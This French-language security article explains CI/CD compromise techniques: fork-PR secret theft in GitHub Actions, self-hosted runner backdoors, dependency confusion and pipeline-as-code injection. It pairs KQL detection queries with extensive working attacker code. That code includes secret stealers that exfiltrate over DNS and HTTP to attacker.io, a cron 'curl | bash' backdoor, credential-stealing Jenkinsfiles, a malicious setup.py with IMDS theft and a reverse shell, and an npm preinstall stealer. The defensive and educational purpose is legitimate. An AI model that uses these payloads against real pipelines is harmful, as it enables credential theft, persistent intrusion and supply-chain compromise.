Compromission de Pipeline CI/CD : Comment les Attaquants Transforment Votre Système de Build en Porte Dérobée Persistante vers la Production
Votre chaîne d'approvisionnement logicielle est déjà à l'intérieur du périmètre de votre réseau. Chaque fois qu'un développeur pousse un commit, votre pipeline CI/CD s'authentifie auprès de votre fournisseur cloud, extrait des secrets de votre coffre-fort, compile et signe des artefacts, et pousse du code directement en production, le tout sans qu'un humain n'approuve la moindre étape. Les attaquants l'ont compris en 2020 avec SolarWinds, l'ont affiné avec la brèche Codecov en 2021, l'ont opérationnalisé à grande échelle avec les compromissions 3CX et XZ Utils en 2023-2024, et en août 2025, UNC6395 l'a utilisé pour compromettre le compte GitHub de Drift, voler des jetons OAuth et accéder aux environnements Salesforce de centaines d'organisations, sans jamais toucher directement le réseau d'une seule victime. La surface d'attaque n'est pas une mauvaise configuration que vous pouvez corriger. C'est le pipeline lui-même.
Cet article couvre cinq classes d'attaques que tout red teamer utilise activement et face auxquelles la plupart des piles de détection sont totalement aveugles : exfiltration de secrets via PR forkée depuis GitHub Actions, persistance et mouvement latéral sur runners auto-hébergés, confusion de dépendances et injection de paquets malveillants, injection de pipeline-as-code via Jenkinsfile et YAML de workflow, et abus de la fédération OIDC pour passer du CI/CD directement dans les environnements cloud sans vol d'identifiants. Pour chaque technique, vous obtiendrez les commandes exactes de l'attaquant, à quoi ressemblent les journaux, et des requêtes KQL ou SPL fonctionnelles pour les traquer. À la fin, vous comprendrez exactement pourquoi votre scanner SAST, votre outil SCA et vos règles de protection de branche n'arrêtent rien de tout cela.
Section 1 : Exfiltration de Secrets GitHub Actions Comment une Seule PR Forkée Vide Votre Coffre-Fort
Les secrets GitHub Actions semblent correctement cloisonnés : les secrets de dépôt sont chiffrés au repos, transmis via TLS et masqués dans les journaux. Ce que la plupart des équipes n'intègrent pas pleinement, c'est que les secrets ne sont pas une propriété d'un dépôt, ils sont une propriété d'un contexte d'exécution de workflow, et ce contexte est en partie contrôlé par quiconque soumet du code qui le déclenche. Le vecteur d'attaque est l'événement pull_request_target, introduit pour permettre aux workflows d'accéder aux secrets lorsqu'ils sont déclenchés par des pull requests provenant de forks. Contrairement à pull_request, qui exécute le code non fiable du fork dans un contexte isolé sans secrets, pull_request_target s'exécute dans le contexte du dépôt de base, avec un accès complet aux secrets, mais exécute le code du fork si le workflow extrait explicitement la tête de la PR. C'est cette combinaison qui vous est fatale.
Le workflow ci-dessous est le schéma qui mène les organisations à la compromission. Il ressemble à un workflow raisonnable de « commenter la couverture de tests sur les PR » :
# .github/workflows/comment-coverage.yml
on:
pull_request_target: # <-- runs in base repo context = has secrets
types: [opened, synchronize]
jobs:
coverage:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # <-- checks out FORK code
- run: npm install && npm test # <-- executes attacker code
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} # <-- secrets exposed
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
Un attaquant fork ce dépôt, ajoute une seule ligne au script de test de package.json, ouvre une PR, et les secrets sont exfiltrés avant qu'un humain ne révise quoi que ce soit. Le masquage dans les journaux ne cache la valeur que dans les instructions echo ; le secret est entièrement disponible pour le processus en cours d'exécution.
Flux d'Attaque
Perspective de l'Attaquant : Le Script de Paquet Malveillant
# Attacker modifies package.json to include a pretest hook
# This executes before the legitimate tests, exfiltrating secrets
# package.json test section (malicious):
# "scripts": {
# "pretest": "node -e \"require('https').get('https://attacker.io/collect?k='+process.env.AWS_ACCESS_KEY_ID+'&s='+process.env.AWS_SECRET_ACCESS_KEY)\"",
# "test": "jest"
# }
# Alternatively, inject directly into a test file that already exists:
# Attacker adds this to the top of any existing .test.js file:
const https = require('https');
// Collect all environment variables (captures ALL secrets, not just AWS)
const secrets = Object.entries(process.env)
.filter(([k]) => /token|key|secret|password|api|pw|credential/i.test(k))
.map(([k, v]) => `${k}=${v}`)
.join('&');
// Exfiltrate via DNS (bypasses HTTP egress blocks) using nslookup
// Each DNS lookup encodes ~60 chars of data in the subdomain
const { execSync } = require('child_process');
const encoded = Buffer.from(secrets).toString('hex');
for (let i = 0; i < encoded.length; i += 60) {
try {
// DNS-based exfil: attacker controls attacker.io and logs all DNS queries
execSync(`nslookup ${encoded.slice(i, i+60)}.attacker.io`);
} catch(e) {}
}
Perspective du Défenseur : Requêtes de Détection
Le journal d'audit GitHub est diffusé vers votre SIEM si vous disposez de GitHub Enterprise avec la diffusion du journal d'audit configurée. Si vous n'avez pas configuré la diffusion, vous êtes déjà aveugle à cela. En supposant que vous l'ayez :
// KQL Detect pull_request_target workflow triggered by external fork
// Source: GitHub Audit Log forwarded to Sentinel or Elastic
// Table name varies by connector; adjust to your GitHub audit log table
GitHubAuditLog
| where TimeGenerated > ago(7d)
// Focus on workflow run events
| where Action == "workflows.completed_workflow_run"
| extend EventData = parse_json(Data)
// pull_request_target is the dangerous event type
| where EventData.event == "pull_request_target"
// Only alert when the triggering actor is NOT an org member
// This requires joining against your org member list
| extend TriggeringActor = tostring(EventData.triggering_actor.login)
| extend HeadRepo = tostring(EventData.head_repository.full_name)
| extend BaseRepo = tostring(EventData.repository.full_name)
// Fork detection: head and base repos differ
| where HeadRepo != BaseRepo
| extend WorkflowPath = tostring(EventData.path)
| project TimeGenerated, TriggeringActor, HeadRepo, BaseRepo, WorkflowPath,
EventData.conclusion, EventData.run_id
| order by TimeGenerated desc
// KQL Hunt for workflows that check out PR HEAD inside pull_request_target
// This requires parsing workflow YAML files do this via GitHub API integration
// or by alerting on git pushes that modify workflow files with this pattern
GitHubAuditLog
| where Action in ("git.push", "repo.contents.commit")
| extend ChangedFiles = parse_json(Data).modified_files
| mv-expand ChangedFiles
| where tostring(ChangedFiles) startswith ".github/workflows/"
| extend CommitSHA = tostring(parse_json(Data).sha)
| extend PushedBy = tostring(parse_json(Data).actor)
// Flag any workflow modification review all of these manually
// The real detection is static analysis of the YAML content, not just the push
| project TimeGenerated, PushedBy, ChangedFiles, CommitSHA
| order by TimeGenerated desc
Risque d'Exposition des Secrets par Type d'Événement GitHub
| Événement déclencheur | Exécute le code du fork | A des secrets | Niveau de risque | Observé dans des brèches |
|---|---|---|---|---|
pull_request_target + checkout PR HEAD | Oui | Oui | Critique | PWA-GitHub (2022), multiples campagnes 2024 |
pull_request_target (sans checkout) | Non | Oui | Faible | N/A sûr si aucun code de fork ne s'exécute |
pull_request | Oui | Non | Faible | N/A le bac à sable empêche l'accès aux secrets |
workflow_run (déclenché par PR) | Selon le déclencheur | Oui | Élevé | Campagnes d'exposition de jetons GitHub 2023 |
push vers la branche par défaut | Non (push direct) | Oui | Moyen | Menace interne / compte développeur compromis |
schedule | Non | Oui | Faible | N/A pas de déclencheur externe |
L'exfiltration fonctionne même lorsque les secrets sont masqués dans les journaux, car le masquage est un filtre de rendu de journal, pas un contrôle d'accès. La valeur du secret est entièrement accessible au processus en cours via process.env ; le masquage la remplace simplement par *** lorsque GitHub affiche la sortie du journal. Le processus qui l'exfiltre ne l'imprime jamais sur stdout, donc le masquage ne se déclenche jamais.
L'implication profonde ici : votre secret a disparu avant même que la PR ne soit révisée. Les règles de protection de branche, les approbations requises et les fichiers CODEOWNER protègent le code entrant dans votre branche principale, pas le code qui s'exécute contre vos secrets pendant une vérification CI. La question suivante est de savoir ce qui se passe lorsque l'attaquant ne s'embête pas du tout avec un fork et cible directement le runner lui-même.
Section 2 : Compromission de Runner Auto-Hébergé Pourquoi Votre Agent Jenkins Est une Plateforme Privilégiée de Mouvement Latéral
Les runners auto-hébergés et les agents Jenkins sont les systèmes les moins bien défendus de la plupart des environnements d'entreprise. Ils disposent d'un accès réseau aux registres d'artefacts, aux registres de conteneurs, à l'infrastructure de signature, aux API des fournisseurs cloud, et souvent aux bases de données et API internes nécessaires aux tests d'intégration. Ils s'exécutent en tant que compte de service, fréquemment avec des privilèges locaux élevés, et ce compte de service est le même pour chaque job exécuté sur l'agent. Lorsqu'un runner prend en charge un job malveillant, peu importe que le job soit isolé au niveau du pipeline : le processus s'exécute sur la machine (ou une VM) avec les permissions au niveau de l'OS du runner, et ces permissions sont la surface d'attaque.
Le mécanisme de persistance est subtil. Les runners auto-hébergés de GitHub se réenregistrent après les redémarrages à l'aide d'un PAT ou d'un jeton d'installation d'application, mais le répertoire d'espace de travail persiste entre les jobs. Un attaquant qui obtient l'exécution de code dans un job peut planter des fichiers dans l'espace de travail, modifier la configuration du runner ou installer une tâche cron/unité systemd. Les agents Jenkins sont pires : par défaut, le processus de l'agent s'exécute en tant qu'utilisateur OS sous lequel le connecteur JNLP a été lancé, les espaces de travail sont partagés entre les pipelines sauf cloisonnement explicite, et les fermetures Groovy @NonCPS dans les Jenkinsfiles contournent les restrictions du bac à sable Groovy pour certaines opérations.
La chaîne d'attaque de « faire exécuter un job sur un runner auto-hébergé » à « posséder l'hôte du runner et pivoter vers la production » prend moins de cinq minutes.
Flux d'Attaque
Perspective de l'Attaquant : Porte Dérobée du Runner et Mouvement Latéral
# ---- PHASE 1: Persistence in a GitHub Actions self-hosted runner ----
# This runs as a step inside a malicious (or compromised) workflow job
# Step 1: Identify the runner environment and available credentials
id # What user am I running as?
cat /proc/self/environ | tr '\\0' '\n' # Dump all env vars including injected secrets
cat ~/.aws/credentials 2>/dev/null # Pre-configured AWS credential files
ls /run/secrets/ 2>/dev/null # Docker/Swarm secret mounts
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null # K8s SA token
# Step 2: Steal the IMDS token (works on EC2, GCP, Azure VMs hosting runners)
# AWS IMDS v1 (no token required huge misconfiguration still common)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name then:
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
CREDS=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE)
# CREDS now contains AccessKeyId, SecretAccessKey, Token exfiltrate these
# Step 3: Plant a persistent backdoor in the shared workspace
# GitHub Actions runners reuse _work/ directory between jobs on same runner
WORKSPACE_ROOT="${GITHUB_WORKSPACE%/*/*}" # Navigate up to runner root
cat > "${WORKSPACE_ROOT}/.runner_hook.sh" << 'EOF'
#!/bin/bash
# This script is sourced by subsequent jobs if an attacker can modify
# runner hook paths or more simply, plants in a shared cache location
# Real persistence: modify runner's .env or use cron
(curl -s https://attacker.io/beacon?host=$(hostname)&user=$(id -u) &)
# Exfil any secrets from the current job environment
printenv | grep -iE 'token|key|secret|password|api' | \
curl -s --data-binary @- https://attacker.io/collect
EOF
chmod +x "${WORKSPACE_ROOT}/.runner_hook.sh"
# Step 4: Inject into Docker layer cache (poisons future builds on same host)
# If the runner has Docker socket access (extremely common for build runners):
ls /var/run/docker.sock && echo "Docker socket accessible full host takeover possible"
# Create a backdoored base image layer that persists across all future builds
# that use this image as a base on this runner's cache:
docker build -t ubuntu:22.04 - << 'DOCKERFILE'
FROM ubuntu:22.04
# This overwrites the local cache of ubuntu:22.04 all future builds
# using this base image on THIS runner will include the backdoor layer
RUN echo '*/5 * * * * root curl -s https://attacker.io/shell | bash' >> /etc/crontab
DOCKERFILE
# ---- PHASE 2: Jenkins-specific exploitation ----
# If the pipeline is Jenkins, the Jenkinsfile itself can do all of this
# Jenkins Groovy script console is often exposed internally test for it:
curl -u admin:admin http://jenkins.internal:8080/script \
--data 'script=println("id".execute().text)'
// Malicious Jenkinsfile attacker submits PR with this content
// The @NonCPS annotation bypasses Groovy sandbox for method calls
// Jenkins evaluates Jenkinsfile with the privileges of the Jenkins service account
pipeline {
agent any // Runs on ANY available agent attacker doesn't need a specific one
stages {
stage('Build') {
steps {
script {
// Extract all Jenkins credentials stored in the credential store
// This uses the Jenkins credentials binding API no special permissions needed
// if the pipeline has credential access (which most do by default)
withCredentials([
string(credentialsId: 'aws-access-key', variable: 'AWS_KEY'),
string(credentialsId: 'aws-secret', variable: 'AWS_SECRET'),
string(credentialsId: 'dockerhub-token', variable: 'DH_TOKEN'),
sshUserPrivateKey(credentialsId: 'deploy-key', keyFileVariable: 'SSH_KEY')
]) {
// Exfil all credentials Jenkins masks them in UI but process sees plaintext
sh """
curl -s -X POST https://attacker.io/collect \
-d "aws_key=${AWS_KEY}&aws_secret=${AWS_SECRET}&dh=${DH_TOKEN}"
# Also exfil the SSH deploy key file
base64 \${SSH_KEY} | curl -s --data-binary @- https://attacker.io/sshkey
"""
}
}
}
}
}
}
Perspective du Défenseur : Détection sur l'Hôte du Runner
// KQL Detect suspicious process execution on CI runner hosts
// Tag your runner hosts in your asset inventory with a "ci_runner" role tag
// This query assumes Defender for Endpoint or Sysmon telemetry forwarded to Sentinel
DeviceProcessEvents
| where TimeGenerated > ago(1d)
// Filter to known runner hosts (maintain this list in a Watchlist)
| where DeviceName in (toscalar(
_GetWatchlist('CIRunnerHosts')
| summarize make_list(SearchKey)
))
// The runner process is the parent child processes should be build tools only
// Flag anything spawning shells, network tools, or credential-touching processes
| where InitiatingProcessFileName in~ ("runner.worker.exe", "runner.listener.exe",
"java.exe", "agent.jar", "node")
// These child processes are anomalous on a build runner
| where FileName in~ ("curl", "wget", "nc", "ncat", "python3", "python",
"bash", "sh", "powershell.exe", "cmd.exe", "certutil.exe")
or (FileName =~ "docker" and ProcessCommandLine contains "socket")
or ProcessCommandLine contains "/etc/crontab"
or ProcessCommandLine contains "169.254.169.254" // IMDS access
or ProcessCommandLine matches regex @"curl.*https?://[^.]+\.[^/]+/[^/]*secret|key|token"
| project TimeGenerated, DeviceName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AccountName, FolderPath
| order by TimeGenerated desc
// KQL Detect Docker socket access from CI runner processes
// Critical: Docker socket = root on host
DeviceNetworkEvents
| where TimeGenerated > ago(1d)
| where DeviceName in (toscalar(_GetWatchlist('CIRunnerHosts') | summarize make_list(SearchKey)))
// Connections to external IPs from runner processes
| where InitiatingProcessFileName in~ ("runner.worker.exe", "java.exe", "node", "bash", "sh")
// Exclude known legitimate registries and GitHub endpoints
| where RemoteUrl !has "github.com"
and RemoteUrl !has "ghcr.io"
and RemoteUrl !has "amazonaws.com"
and RemoteUrl !has "docker.io"
and RemoteUrl !has "npmjs.org"
and RemoteIPType != "Private" // Flag only external connections
| project TimeGenerated, DeviceName, RemoteUrl, RemoteIP, RemotePort,
InitiatingProcessCommandLine, AccountName
| order by TimeGenerated desc
Comparaison des Risques : Runner Auto-Hébergé vs Hébergé par GitHub vs Entreprise
| Type de runner | Risque de persistance | Portée des identifiants | Accès réseau | Coût d'attaque | Utilisé dans des brèches observées |
|---|---|---|---|---|---|
| Hébergé par GitHub (ubuntu-latest) | Aucun VM éphémère par job | Secrets cloisonnés au job uniquement | Sortie non restreinte | Faible tout déclencheur de PR | PWA (2022), attaques de chaîne de dépendances |
| Auto-hébergé, VM persistante | Élevé fichiers survivent entre jobs | Identifiants SA + IMDS + secrets montés | Réseau interne complet | Faible une fois le job exécuté | UNC6395 Drift (2025), Codecov (2021) |
| Auto-hébergé, éphémère (pod Kubernetes) | Faible pod détruit après le job | Identifiants SA au niveau du pod | Variable selon NetworkPolicy | Moyen | Brèche CircleCI (2023) |
| Agent Jenkins (JNLP, persistant) | Élevé le service de l'agent persiste | Tous les identifiants du magasin | Réseau interne complet | Faible accès au Jenkinsfile | Multiples intrusions d'entreprise 2024 |
| Agent Jenkins (Docker, éphémère) | Moyen cache de couches Docker | Identifiants liés à l'exécution | Réseau hôte si --net=host | Moyen | Moins courant mais démontré |
Posséder un runner auto-hébergé donne à un attaquant tout ce que ce runner peut atteindre, ce qui, dans la plupart des environnements, est plus que les portables de développeurs pour lesquels il exécute des jobs. La classe d'attaque suivante n'exige même pas que l'attaquant fasse exécuter un job sur votre runner ; au lieu de cela, ils empoisonnent ce que votre runner récupère au moment de l'installation des dépendances.
Section 3 : Confusion de Dépendances et Injection de Paquets Malveillants Comment Votre npm install Devient une RCE
La confusion de dépendances n'est pas une vulnérabilité dans un paquet spécifique, c'est une faille systématique dans la façon dont la résolution des gestionnaires de paquets fonctionne lorsque des registres privés sont configurés aux côtés de registres publics. Lorsque npm, pip ou nuget est configuré pour vérifier à la fois un registre privé (Artifactory, Nexus, Azure Artifacts) et le registre public (npmjs.org, PyPI), l'algorithme de résolution dans la plupart des configurations préfère le paquet avec le numéro de version le plus élevé, quel que soit le registre d'origine. Un attaquant qui connaît le nom d'un de vos paquets internes (obtenable depuis des fichiers package.json dans des dépôts publics, des offres d'emploi, des messages d'erreur, ou simplement des portables d'employés) peut publier un paquet avec ce nom exact sur le registre public en version 9.9.9 et votre build le récupérera à la place du vôtre, sans avertissement, sans erreur et sans approbation humaine.
Le typosquatting est l'attaque complémentaire : publier requet quand la cible utilise request, colorama_ quand elle utilise colorama, colourama pour le même. Le détournement de compte de mainteneur est la troisième variante et la plus difficile à détecter : compromettre le compte du mainteneur d'un paquet populaire (via credential stuffing, hameçonnage ou réenregistrement d'un domaine de courriel expiré), publier une nouvelle version avec un hook install malveillant, et chaque utilisateur en aval de ce paquet est piégé au prochain npm install. C'est ainsi que event-stream a été détourné en 2018, que ua-parser-js a été compromis en 2021, et que xz-utils a été piégé en 2024, une opération d'ingénierie sociale de deux ans contre un mainteneur.
Flux d'Attaque
Perspective de l'Attaquant : Construction d'un Paquet Malveillant
# malicious_package/setup.py
# This is a fully functional dependency confusion payload
# Published to PyPI as "mycompany-internal-utils" at version 9.9.9
# Target: any org that has an internal package with this name
import os
import sys
import socket
import platform
import subprocess
from setuptools import setup
from setuptools.command.install import install
class MaliciousInstall(install):
"""
Override the standard install command.
This runs at `pip install` time BEFORE any code review,
before the package is imported, just by being installed.
Runs as whatever user/SA executed pip.
"""
def run(self):
# Collect environment fingerprint
hostname = socket.gethostname()
user = os.environ.get('USER', os.environ.get('USERNAME', 'unknown'))
platform_info = platform.platform()
# Harvest CI/CD specific environment variables
# These are set by GitHub Actions, Jenkins, CircleCI, GitLab, etc.
ci_vars = {k: v for k, v in os.environ.items()
if any(k.startswith(p) for p in [
'GITHUB_', 'CIRCLE', 'TRAVIS', 'CI', 'BUILD_',
'AWS_', 'AZURE_', 'GCP_', 'GOOGLE_',
'NPM_TOKEN', 'PYPI_TOKEN', 'ARTIFACTORY',
'DOCKER_', 'KUBECONFIG', 'HELM_'
])}
# Check for cloud IMDS try AWS, then GCP, then Azure
imds_creds = None
try:
import urllib.request
# AWS IMDSv1 no authentication required
req = urllib.request.urlopen(
'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
timeout=2
)
role = req.read().decode()
creds_req = urllib.request.urlopen(
f'http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}',
timeout=2
)
imds_creds = creds_req.read().decode()
except Exception:
pass
# Exfiltrate via DNS (avoids HTTP egress monitoring)
# Encode payload as hex, send as DNS A record lookups
payload = str({'ci': ci_vars, 'host': hostname, 'user': user,
'platform': platform_info, 'imds': imds_creds})
encoded = payload.encode().hex()
# Split into 63-char chunks (max DNS label length)
chunks = [encoded[i:i+63] for i in range(0, min(len(encoded), 500), 63)]
for i, chunk in enumerate(chunks):
try:
# Attacker controls attacker.io nameserver and logs all queries
socket.getaddrinfo(f'{i}.{chunk}.d.attacker.io', 53)
except Exception:
pass
# Also attempt a reverse shell if outbound TCP is allowed
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('attacker.io', 443)) # Port 443 usually allowed through egress
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(['/bin/sh', '-i'])
except Exception:
pass
# Continue normal install so nothing looks broken
install.run(self)
setup(
name='mycompany-internal-utils', # Target's actual internal package name
version='9.9.9', # Higher than any internal version
description='Internal utilities', # Mimics internal package description
cmdclass={'install': MaliciousInstall},
packages=[],
)
// Malicious package.json for npm-based attack
// The "preinstall" / "postinstall" hook runs at `npm install` time
// No import required just installing the package triggers the payload
{
"name": "mycompany-design-system",
"version": "9.9.9",
"description": "Design system components",
"scripts": {
"preinstall": "node -e \"const h=require('https');const e=Object.entries(process.env).filter(([k])=>/token|key|secret|aws|gcp|azure|docker|npm/i.test(k)).map(([k,v])=>k+'='+v).join('\\n');h.request({hostname:'attacker.io',path:'/c',method:'POST',headers:{'Content-Length':Buffer.byteLength(e)}},r=>{}).end(e)\""
},
"main": "index.js"
}
Perspective du Défenseur : Requêtes de Détection
// KQL Detect packages installed from public registry that match internal package names
// Requires: pip/npm audit logs forwarded to SIEM, or Artifactory/Nexus access logs
// This query uses Artifactory audit logs (Xray integration recommended)
ArtifactoryAccess
| where TimeGenerated > ago(1d)
| where RequestType == "DOWNLOAD"
// Build your internal package name list as a Watchlist
| where PackageName in (toscalar(
_GetWatchlist('InternalPackageNames')
| summarize make_list(PackageName)
))
// Flag downloads from public repos (configured as "remote" repos in Artifactory)
| where RepositoryType == "remote" // "remote" = proxied from public registry
and RepositoryName in ("npmjs-remote", "pypi-remote", "nuget-remote")
// Compare version to known highest internal version
| join kind=leftouter (
ArtifactoryAccess
| where RepositoryType == "local" // "local" = internal artifact
| summarize MaxInternalVersion = max(PackageVersion) by PackageName
) on PackageName
| where PackageVersion > MaxInternalVersion // External version is higher = confusion attack
| project TimeGenerated, PackageName, PackageVersion, MaxInternalVersion,
RepositoryName, RequestedBy, ClientIP
| order by TimeGenerated desc
// KQL Detect suspicious process spawning during package installation
// pip/npm spawn child processes; malicious hooks spawn unexpected children
DeviceProcessEvents
| where TimeGenerated > ago(1d)
// npm and pip installation processes
| where InitiatingProcessFileName in~ ("node", "python", "python3", "pip", "pip3", "npm")
and InitiatingProcessCommandLine has_any ("install", "setup.py")
// Flag unexpected child processes that should never spawn during a package install
| where FileName in~ ("curl", "wget", "nc", "bash", "sh", "powershell.exe",
"certutil.exe", "mshta.exe", "wscript.exe", "cscript.exe")
or ProcessCommandLine contains "169.254.169.254"
or ProcessCommandLine matches regex @"base64\s+-d|base64\s+--decode"
or ProcessCommandLine has "/dev/tcp/" // Bash TCP redirect for reverse shell
// Exclude known legitimate patterns (postinstall scripts that run make, gcc, node-gyp)
| where FileName !in~ ("make", "gcc", "g++", "node-gyp", "python3", "node")
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated desc
Comparaison des Variantes d'Attaque sur les Dépendances
| Type d'attaque | Prérequis de l'attaquant | Connaissance requise de la cible | Difficulté de détection | Exemple réel |
|---|---|---|---|---|
| Confusion de dépendances | Nom du paquet interne seulement | Aucune l'algo de version fait le travail | Élevée pas d'URL malveillante, registre valide | Alex Birsan (2021) 35 entreprises, 130k$ en primes |
| Typosquatting | Nom de paquet courant, la victime fait une typo | Aucune attend l'installation organique | Élevée ressemble à un vrai paquet | colourama (2017), voleur event-stream (2018) |
| Détournement de compte mainteneur | Accès au compte du mainteneur | Compréhension de l'arbre de dépendances | Très élevée provient d'un compte légitime | ua-parser-js (2021), xz-utils (2024) |
| Compromission directe du registre | Accès au registre privé (Artifactory/Nexus) | Liste complète des paquets internes | Très élevée trafic interne uniquement | CircleCI (2023) exfil de config interne |
| Empoisonnement du cache CI | Exéc. de code sur runner à cache partagé | Aucune persistance passive | Extrême les artefacts semblent légitimes | Théorique, démontré en recherche 2024 |
Le code malveillant s'exécute au moment de l'installation, avant que tout linter, scanner SAST ou processus de revue de code ne le voie. Votre outil SCA identifie les paquets connus comme malveillants via des bases CVE et la correspondance de hachages ; un nouveau paquet malveillant publié aujourd'hui n'a ni CVE ni entrée de hachage. Les seuls contrôles fiables sont l'isolation des registres, l'épinglage de hachages et la vérification d'intégrité des paquets installés, ce qui nous amène à la classe d'attaque suivante : ce qui se passe lorsque l'attaquant n'a même pas besoin d'empoisonner un paquet, parce qu'il peut simplement modifier le fichier de définition du pipeline lui-même.
Section 4 : Injection de Pipeline-as-Code Comment un Jenkinsfile ou un YAML de Workflow Modifié Devient un Accès Persistant à la Production
Le fichier de définition du pipeline Jenkinsfile, .github/workflows/*.yml, .gitlab-ci.yml, azure-pipelines.yml est simultanément le fichier le plus privilégié de votre dépôt et le moins scruté en revue de code. Il définit ce qui s'exécute sur votre infrastructure CI avec un accès aux identifiants de production, mais les relecteurs se concentrent sur le code applicatif. Plus critique encore : dans de nombreuses configurations, la modification du fichier de pipeline prend effet immédiatement au prochain build déclenché, sans nécessiter de processus de déploiement ou de release. Un attaquant qui peut fusionner une modification de votre fichier de pipeline via un compte développeur compromis, une mauvaise configuration de protection de branche ou une dépendance empoisonnée qui le modifie dispose d'une exécution de code persistante dans votre contexte de build le plus privilégié.
Les mécanismes spécifiques varient selon la plateforme mais partagent un schéma commun : le fichier de pipeline est analysé par un service privilégié (contrôleur Jenkins, moteur GitHub Actions) qui a accès à tous les identifiants, et le fichier spécifie quelles commandes shell arbitraires s'exécutent. La frontière de sécurité entre « code applicatif » et « code d'infrastructure de pipeline » est une distinction de politique, pas une distinction technique. La plupart des configurations de protection de branche qui exigent des revues de PR s'appliquent à tous les fichiers de manière égale, y compris la définition du pipeline. Mais il existe des contournements systématiques.
Dans GitHub Actions, le filtre paths-ignore dans les règles de protection de branche peut exclure .github/workflows/ de la revue requise, soit par mauvaise configuration, soit par conception explicite (pour permettre des changements CI rapides). Dans Jenkins, le Jenkinsfile est récupéré depuis la branche en cours de build ; le Jenkinsfile d'une branche de fonctionnalité s'exécute avec le même agent et le même accès aux identifiants que celui de la branche principale, même si la branche de fonctionnalité n'a aucune exigence de revue. La directive include de GitLab permet d'importer des définitions de pipeline depuis des URL externes ou d'autres projets, créant une dépendance transitive sur la sécurité de ces pipelines externes.
Flux d'Attaque
Perspective de l'Attaquant : Injection dans les Définitions de Pipeline
# Attacker's modified .github/workflows/deploy.yml
# Change is minimal to avoid detection adds one step to an existing workflow
# Original workflow is preserved; only a "diagnostic" step is added
name: Deploy to Production
on:
push:
branches: [main]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
# === ORIGINAL STEPS (unchanged reviewers focus here) ===
- name: Build application
run: npm ci && npm run build
- name: Run tests
run: npm test
# === INJECTED STEP appears legitimate ===
- name: Collect deployment diagnostics
# Looks like observability tooling; name is deliberately benign
env:
# Attacker requests secrets that weren't in the original workflow
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
SIGNING_KEY: ${{ secrets.ARTIFACT_SIGNING_KEY }}
run: |
# Real exfil disguised as a diagnostic script
# The script is fetched remotely so static analysis of the YAML won't catch it
curl -s https://diagnostics.attacker.io/collect.sh | bash
# Alternative: encode the payload in base64 inline
# echo "Y3VybCAtcyBodHRwczovL2F0dGFja2VyLmlvL2MgLWQgIiQoZW52KSI=" | base64 -d | bash
# === ORIGINAL STEPS (continued) ===
- name: Deploy to production
run: ./deploy.sh
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
// Attacker's modified Jenkinsfile (minimal change)
// Injected into a feature branch that runs against the same agents as main
// The `withCredentials` block is normal Jenkinsfile syntax reviewers expect it
pipeline {
agent { label 'production-agent' } // Attacker specifies the privileged agent
stages {
stage('Build') {
steps {
sh 'mvn clean package -DskipTests'
}
}
// INJECTED STAGE named to look like observability
stage('Telemetry Collection') {
steps {
withCredentials([
// Request every credential available in this pipeline's scope
string(credentialsId: 'aws-prod-access-key', variable: 'AWS_KEY'),
string(credentialsId: 'aws-prod-secret', variable: 'AWS_SEC'),
string(credentialsId: 'sonar-token', variable: 'SONAR'),
sshUserPrivateKey(credentialsId: 'prod-deploy-key',
keyFileVariable: 'DEPLOY_KEY',
usernameVariable: 'DEPLOY_USER'),
usernamePassword(credentialsId: 'nexus-credentials',
usernameVariable: 'NEXUS_USER',
passwordVariable: 'NEXUS_PASS')
]) {
sh '''
# Exfil all harvested credentials
curl -s -X POST https://attacker.io/jenkins-collect \
-F "aws_key=${AWS_KEY}" \
-F "aws_sec=${AWS_SEC}" \
-F "nexus=${NEXUS_USER}:${NEXUS_PASS}" \
-F "sonar=${SONAR}"
# Exfil SSH deploy key
base64 ${DEPLOY_KEY} | curl -s --data-binary @- https://attacker.io/sshkey
'''
}
}
}
stage('Deploy') {
steps {
sh './deploy.sh'
}
}
}
}
# Python script to enumerate GitHub branch protection rules and find weaknesses
# This is reconnaissance an attacker runs before deciding on their injection vector
# Requires: GitHub PAT with repo scope (or leaked token)
import requests
import json
# Configuration
ORG = "targetorg"
REPO = "target-repo"
TOKEN = "ghp_xxxxxxxxxxxx" # Attacker's obtained PAT
headers = {
"Authorization": f"Bearer {TOKEN}",
"Accept": "application/vnd.github.v3+json"
}
# Step 1: Enumerate branch protection rules on all branches
branches_resp = requests.get(
f"https://api.github.com/repos/{ORG}/{REPO}/branches",
headers=headers
)
branches = branches_resp.json()
for branch in branches:
branch_name = branch['name']
protection_resp = requests.get(
f"https://api.github.com/repos/{ORG}/{REPO}/branches/{branch_name}/protection",
headers=headers
)
if protection_resp.status_code == 200:
protection = protection_resp.json()
required_reviews = protection.get('required_pull_request_reviews', {})
# Check if pushes are allowed without PR (attacker can push directly)
restrictions = protection.get('restrictions', None)
# Check if CI config files are excluded from required review paths
required_contexts = protection.get('required_status_checks', {}).get('contexts', [])
print(f"Branch: {branch_name}")
print(f" Required reviewers: {required_reviews.get('required_approving_review_count', 0)}")
print(f" Push restrictions: {'Yes' if restrictions else 'No anyone can push'}")
print(f" Required checks: {required_contexts}")
